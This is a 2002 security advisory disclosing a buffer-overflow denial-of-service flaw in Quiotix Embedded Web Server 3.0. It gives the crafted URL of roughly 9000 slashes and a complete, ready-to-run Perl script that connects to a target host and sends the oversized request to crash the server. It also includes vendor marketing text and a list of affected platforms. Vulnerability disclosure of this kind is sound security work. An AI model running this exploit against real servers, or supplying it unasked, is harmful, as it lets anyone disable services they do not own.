Type

Denial of Service

Release Date

August 29, 2002

Product / Vendor

Quiotix Embedded WebServer (QEWS) brings the immense potential of the World Wide Web to embedded systems by providing a full-featured implementation of an Hypertext Transport Protocol (HTTP) server specifically designed for embedding. In addition to providing a new tool for network management applications, incorporating Web servers directly into embedded systems creates virtually limitless opportunities to provide innovative and exciting new services directly to the global Internet or corporate Intranets.

Quiotix customers include many leading technology companies such as Adobe Systems, Collab.Net, Compaq, Lucent, NTT, Oce, Sparks.com, Starnet Communications and others.

http://www.quiotix.com/wshome.html

Summary

Due to a buffer overflow vulnerability in Quiotix Embedded Web Server 3.0, it is possible for an attacker to cause the server to stop responding and crash. Problem is due to the CGI parameter's handling of unusually crafted requests.

http://host/reqVarsDemo/////<9000 char "/">/////

Exploit

An exploit for this vulnerability exists and is available below.

==================== SNIP ====================

#!/usr/bin/perl -w

use IO::Socket;

$host = $ARGV[0];
$port = $ARGV[1];
$evil = "//" x 9000;

print "Quiotix Embedded Web Server 3.0 DoS Vulnerability by SecurityOffice\n";
print "Usage: $0 host port\n";
print "Connecting...\n";
$socket = IO::Socket::INET->
new(Proto=>"tcp",
PeerAddr=>$host,
PeerPort=>$port)
|| die "Connection failed.\n";

print "Attacking...\n";
print $socket "GET /reqVarsDemo/$evil HTTP/1.1\n\n";

close($socket);
print "\nConnection closed. Finished.\n\n";

==================== SNIP ====================

Tested

Quiotix Embedded Web Server 3.0 for Windows / Windows 2000 sp3
Quiotix Embedded Web Server 3.0 for Linux / Debian GNU Linux 3.0

Vulnerable

Quiotix Embedded Web Server 3.0 for Windows
Quiotix Embedded Web Server 3.0 for Linux

Disclaimer

http://www.securityoffice.net is not responsible for the misuse or illegal use of any of the information and/or the software listed on this security advisory.

Author

Tamer Sahin
ts(at)securityoffice.net
http://www.securityoffice.net